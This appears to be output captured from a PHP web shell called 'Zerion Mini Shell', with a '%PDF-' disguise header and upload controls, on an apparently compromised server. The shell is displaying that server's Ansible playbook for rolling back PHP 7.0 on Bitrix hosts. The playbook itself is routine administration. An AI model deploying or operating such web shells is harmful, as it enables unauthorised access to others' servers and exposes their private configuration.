%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/ansible/roles/web/tasks/
Upload File :
Create Path :
Current File : //etc/ansible/roles/web/tasks/rollback_php70.yml

---
# 1. copy /etc/php.d files
# 3. remove current version php
# 4. install old version php
# 5. restart httpd
- shell: rsync -a --delete /etc/php.d/ /opt/webdir/tmp/php.d/
  args:
    creates: /opt/webdir/tmp/php.d/bitrixenv.ini
  when: "'bitrix-web' in group_names"

- name: enable remi php70 repository
  ini_file: 
    dest: /etc/yum.repos.d/remi-php70.repo
    section: remi-php70
    option: enabled
    value: 1
  tags: remi
  when: "'bitrix-web' in group_names"

- name: disable remi php71 repository
  ini_file: 
    dest: /etc/yum.repos.d/remi-php71.repo
    section: remi-php71
    option: enabled
    value: 0
  tags: remi
  when: "'bitrix-web' in group_names"

- name: save list php-packages
  shell: rpm -qa --queryformat '%{name}\n' | grep '^php' 
  args:
    executable: /bin/bash
  register: php70_packages
  when: "'bitrix-web' in group_names"


- name: remove package without deps
  shell: rpm -qi {{ item }} && rpm -e --nodeps {{ item }} || true
  with_items: 
    - "{{ php70_packages.stdout_lines }}"
  when: "'bitrix-web' in group_names"

- name: reinstall php70 
  yum: name={{ item }} state=latest
  with_items: 
    - "{{ php70_packages.stdout_lines }}"
  when: "'bitrix-web' in group_names"

- name: restore php.d settings
  shell: rsync -a --delete /opt/webdir/tmp/php.d/ /etc/php.d/
  when: "'bitrix-web' in group_names"

- name: get rpmsave file list
  find:
    paths: "/etc/php.d"
    patterns: "*.rpmsave,*.rpmnew"
    file_type: file
  register: rpmsave

- name: delete rpmsave files
  file:
    path: "{{ item.path }}"
    state: absent
  with_items: "{{ rpmsave.files }}"

- include: php_ext_dublicates.yml
  when: "'bitrix-web' in group_names"

- name: delete php.d
  file:
    path: /opt/webdir/tmp/php.d
    state: absent

- name: restart httpd
  service: name=httpd state=restarted
  when: "inventory_hostname == cluster_web_server"


Zerion Mini Shell 1.0